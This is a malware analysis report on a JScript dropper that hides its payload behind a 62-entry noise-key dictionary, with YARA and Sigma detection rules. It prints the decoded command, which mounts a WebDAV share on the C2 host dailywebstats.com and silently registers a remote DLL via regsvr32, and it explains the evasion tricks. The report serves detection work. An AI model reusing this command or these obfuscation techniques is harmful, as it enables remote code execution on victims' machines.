unclassified-js-webdav-dropper: 0e45e1b2 — 62-entry noise-key dictionary (cutikiyr), dailywebstats.com C2, PowerShell EncodedCommand wrapper

Executive Summary

10.2 KB single-line JScript dropper hiding its payload behind a 62-entry character lookup table with random noise key names. Decoded, it spawns powershell.exe -EncodedCommand to mount a WebDAV share (dailywebstats.com:8888) and silently register a remote DLL via regsvr32 /s. Seventy-third confirmed sibling in the unclassified-js-webdav-dropper cluster; execution engine is identical to prior dailywebstats.com dictionary variants — only the key set, object name, and payload filename differ.

What It Is

Family attribution: unclassified-js-webdav-dropper. Seventy-third confirmed sibling. Shares the same execution chain (net use + regsvr32 /s over WebDAV via PowerShell -EncodedCommand) and the same C2 host (dailywebstats.com:8888) as siblings e6ebae6a, cc90d6c, ccb2d007, 6b7435afd70e, 6f72a3a9, 58d9398a, 5931df0b, 35eea343, 385c2f05, and 093a56f6. The only deltas are the dictionary key strings, the object name (cutikiyr), and the payload DLL filename. Confidence: high.

How It Works

Layer 1 — Dictionary lookup table

The first ~1.7 KB of the file defines 62 key/value pairs in a JScript associative array named cutikiyr: random noise keys (8–20 lowercase characters, no semantic content) map to single printable characters. ^[strings.txt:1] Every ASCII letter (upper and lower), digit, and common punctuation mark needed for the payload is present.

Layer 2 — String concatenation via Function() constructor

The remainder of the file assembles the payload via concatenated dictionary lookups wrapped in Function(''+ ... )()['WScript']['CreateObject']('WScript.Shell')['run'](...), a self-referential global-object construction to reach WScript without typing the literal. ^[strings.txt:1]

The actual command is assembled from dictionary lookups. Decoded Base64 (UTF-16-LE) reveals:

net use \\dailywebstats.com@8888\davwwwroot\ ; regsvr32 /s \\dailywebstats.com@8888\davwwwroot\31643864132689.dll

No sandbox gates. No debugger checks. No connectivity checks. No persistence. One-shot dropper.

Decompiled Behavior

Not applicable — script source is fully available. Static deobfuscation (Node.js replace + base64) suffices. No compiled binary sections to analyze. CAPE skipped because the file is plain text. ^[dynamic-analysis.md]

C2 Infrastructure

DNS/hosting: dailywebstats.com is a recurring C2 host in this cluster, observed across ten prior siblings. The payload filename 31643864132689.dll follows the numeric/timestamp pattern seen throughout the family.

Interesting Tidbits

• Hand-written obfuscation. No commercial obfuscator signature. The dictionary is assembled by a simple template engine that assigns random noise strings to characters. ^[strings.txt:1]
• Function('return this')() idiom. Same global-object construction trick seen across the entire dictionary-dialect sub-cluster. ^[strings.txt:1]
• Try/catch decoy. The payload sits in a catch block triggered by try{mudzbvdbsxcoel();} — a deliberately missing function. Static analyzers following only the try branch miss the real behavior.
• Single-line delivery. The entire 10.2 KB file is one line (10,192 chars, no line terminators). ^[file.txt] Delivered as an email attachment or download where line breaks would be suspicious.
• cutikiyr object name. Fifteen-character noise string — longer than the four-character yvyb in sibling 093a56f6 but functionally identical.
• No wordpad decoy, no sandbox gate, no polyglot layer. Pure JScript dictionary variant with PowerShell wrapper — the simplest form of the dictionary dialect.

Deployable Signatures

YARA rule

rule JS_Dictionary_WebDAV_Dropper_0e45e1b2 {
    meta:
        author = "PacketPursuit"
        description = "JScript dropper with 62-entry noise-key dictionary obfuscation and WebDAV payload"
        family = "unclassified-js-webdav-dropper"
        confidence = "high"
        date = "2026-07-16"
    strings:
        $dict_start = "cutikiyr=[];cutikiyr['"
        $function_constructor = "Function(''+"
        $wscript_shell = "'WScript.Shell'"
        $encoded_cmd = "-EncodedCommand"
        $davwwwroot = "DavWWWRoot" nocase
        $regsvr32 = "regsvr32"
    condition:
        filesize < 30KB and
        $dict_start and
        $function_constructor and
        $wscript_shell and
        ($encoded_cmd or ($davwwwroot and $regsvr32))
}

Behavioral hunt query (Sigma — process_creation)

title: WebDAV Regsvr32 DLL Loading — dailywebstats.com
description: Detects regsvr32 loading a DLL from a WebDAV UNC path on dailywebstats.com
status: experimental
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        CommandLine|contains:
            - 'dailywebstats.com'
            - 'DavWWWRoot'
        Image|endswith: '\regsvr32.exe'
    condition: selection
falsepositives:
    - Unknown
level: high

IOC list

Behavioral fingerprint statement

A 10.2 KB single-line JScript file opens via WScript, triggers a catch block on a deliberately missing function (mudzbvdbsxcoel), constructs WScript.Shell via the Function('return this')() global trick, then passes a UTF-16-LE Base64-encoded PowerShell command to powershell.exe -EncodedCommand. The decoded command mounts dailywebstats.com:8888 via WebDAV and silently registers 31643864132689.dll via regsvr32 /s. No persistence, no sandbox evasion, no anti-debug. One-shot payload delivery with 62-entry random-noise dictionary obfuscation.

Detection Signatures

References

• Artifact ID: f2b8e83c-1a14-4dc4-bb98-aa18dd55f212
• Source: OpenCTI (abuse.ch MalwareBazaar connector)
• Related family page: unclassified-js-webdav-dropper
• Related technique page: webdav-regsvr32-dll-sideloading
• Related technique page: js-dictionary-char-lookup-obfuscation

Provenance